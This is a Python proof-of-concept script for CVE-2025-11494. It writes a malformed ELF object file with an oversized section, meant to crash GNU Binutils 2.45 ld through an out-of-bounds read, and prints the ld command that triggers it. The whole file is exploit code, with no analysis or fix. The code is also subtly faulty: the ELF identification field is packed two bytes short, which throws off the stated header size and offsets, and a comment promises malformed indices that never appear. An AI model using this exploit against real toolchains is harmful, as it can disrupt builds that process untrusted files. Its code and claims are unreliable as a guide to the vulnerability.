# CVE-2025-11494 PoC - Trigger OOB read in _bfd_x86_elf_late_size_sections
# This PoC creates a malformed ELF object file that triggers the vulnerability
# when processed by GNU Binutils 2.45 ld linker.
import struct
import sys
# ELF64 Header constants for x86-64
ELF_MAGIC = b'\x7fELF'
ELFCLASS64 = 2
ELFDATA2LSB = 1 # Little endian
ET_REL = 1 # Relocatable file (object file)
EM_X86_64 = 62 # x86-64 architecture
EV_CURRENT = 1
def create_malformed_elf(output_path):
"""Create a malformed ELF file to trigger OOB read in _bfd_x86_elf_late_size_sections"""
# ELF64 Header (64 bytes)
e_ident = ELF_MAGIC + struct.pack('BBBBBxxxxx',
ELFCLASS64, # EI_CLASS: 64-bit
ELFDATA2LSB, # EI_DATA: Little endian
EV_CURRENT, # EI_VERSION
0, # EI_OSABI
0 # EI_ABIVERSION
)
e_type = ET_REL
e_machine = EM_X86_64
e_version = EV_CURRENT
e_entry = 0
e_phoff = 0 # No program headers for object file
e_flags = 0
e_ehsize = 64
e_phentsize = 0
e_phnum = 0
# Place section headers right after ELF header
e_shoff = 64
e_shentsize = 64 # Size of section header entry
# Create multiple sections to trigger the vulnerability
# Include malformed section indices to cause OOB read
e_shnum = 5 # Number of section headers
e_shstrndx = 4 # Section header string table index
elf_header = e_ident + struct.pack('<HHIQQQIHHHHHH',
e_type, e_machine, e_version, e_entry, e_phoff,
e_shoff, e_flags, e_ehsize, e_phentsize, e_phnum,
e_shentsize, e_shnum, e_shstrndx
)
# Section headers
# SHT_NULL section (index 0)
sh_null = struct.pack('<IIQQQQIIQQ',
0, 0, 0, 0, 0, 0, 0, 0, 0, 0
)
# Malformed section with abnormal size to trigger OOB
# This section will cause _bfd_x86_elf_late_size_sections to read out of bounds
sh_malformed = struct.pack('<IIQQQQIIQQ',
0, # sh_name
1, # sh_type: SHT_PROGBITS
0x3, # sh_flags: SHF_WRITE | SHF_ALLOC
0, # sh_addr
0, # sh_offset
0xFFFFFFFF, # sh_size: abnormally large size to trigger OOB read
0, # sh_link
0, # sh_info
1, # sh_addralign
0 # sh_entsize
)
# Additional sections
sh_symtab = struct.pack('<IIQQQQIIQQ',
0, 2, 0, 0, 0, 0, 0, 0, 0, 0 # SHT_SYMTAB placeholder
)
sh_strtab = struct.pack('<IIQQQQIIQQ',
0, 3, 0, 0, 0, 0, 0, 0, 0, 0 # SHT_STRTAB placeholder
)
# Section string table with names
strtab_data = b'\x00.malformed\x00.symtab\x00.strtab\x00.shstrtab\x00'
sh_shstrtab = struct.pack('<IIQQQQIIQQ',
0, 3, 0, 0, 64 + 5*64, len(strtab_data), 0, 0, 1, 0
)
# Assemble the file
elf_data = elf_header + sh_null + sh_malformed + sh_symtab + sh_strtab + sh_shstrtab + strtab_data
with open(output_path, 'wb') as f:
f.write(elf_data)
print(f"[*] Malformed ELF file created: {output_path}")
print(f"[*] File size: {len(elf_data)} bytes")
print(f"[*] Use 'ld' from GNU Binutils 2.45 to trigger the vulnerability:")
print(f" ld {output_path} -o /dev/null")
if __name__ == '__main__':
output = sys.argv[1] if len(sys.argv) > 1 else 'malformed.o'
create_malformed_elf(output)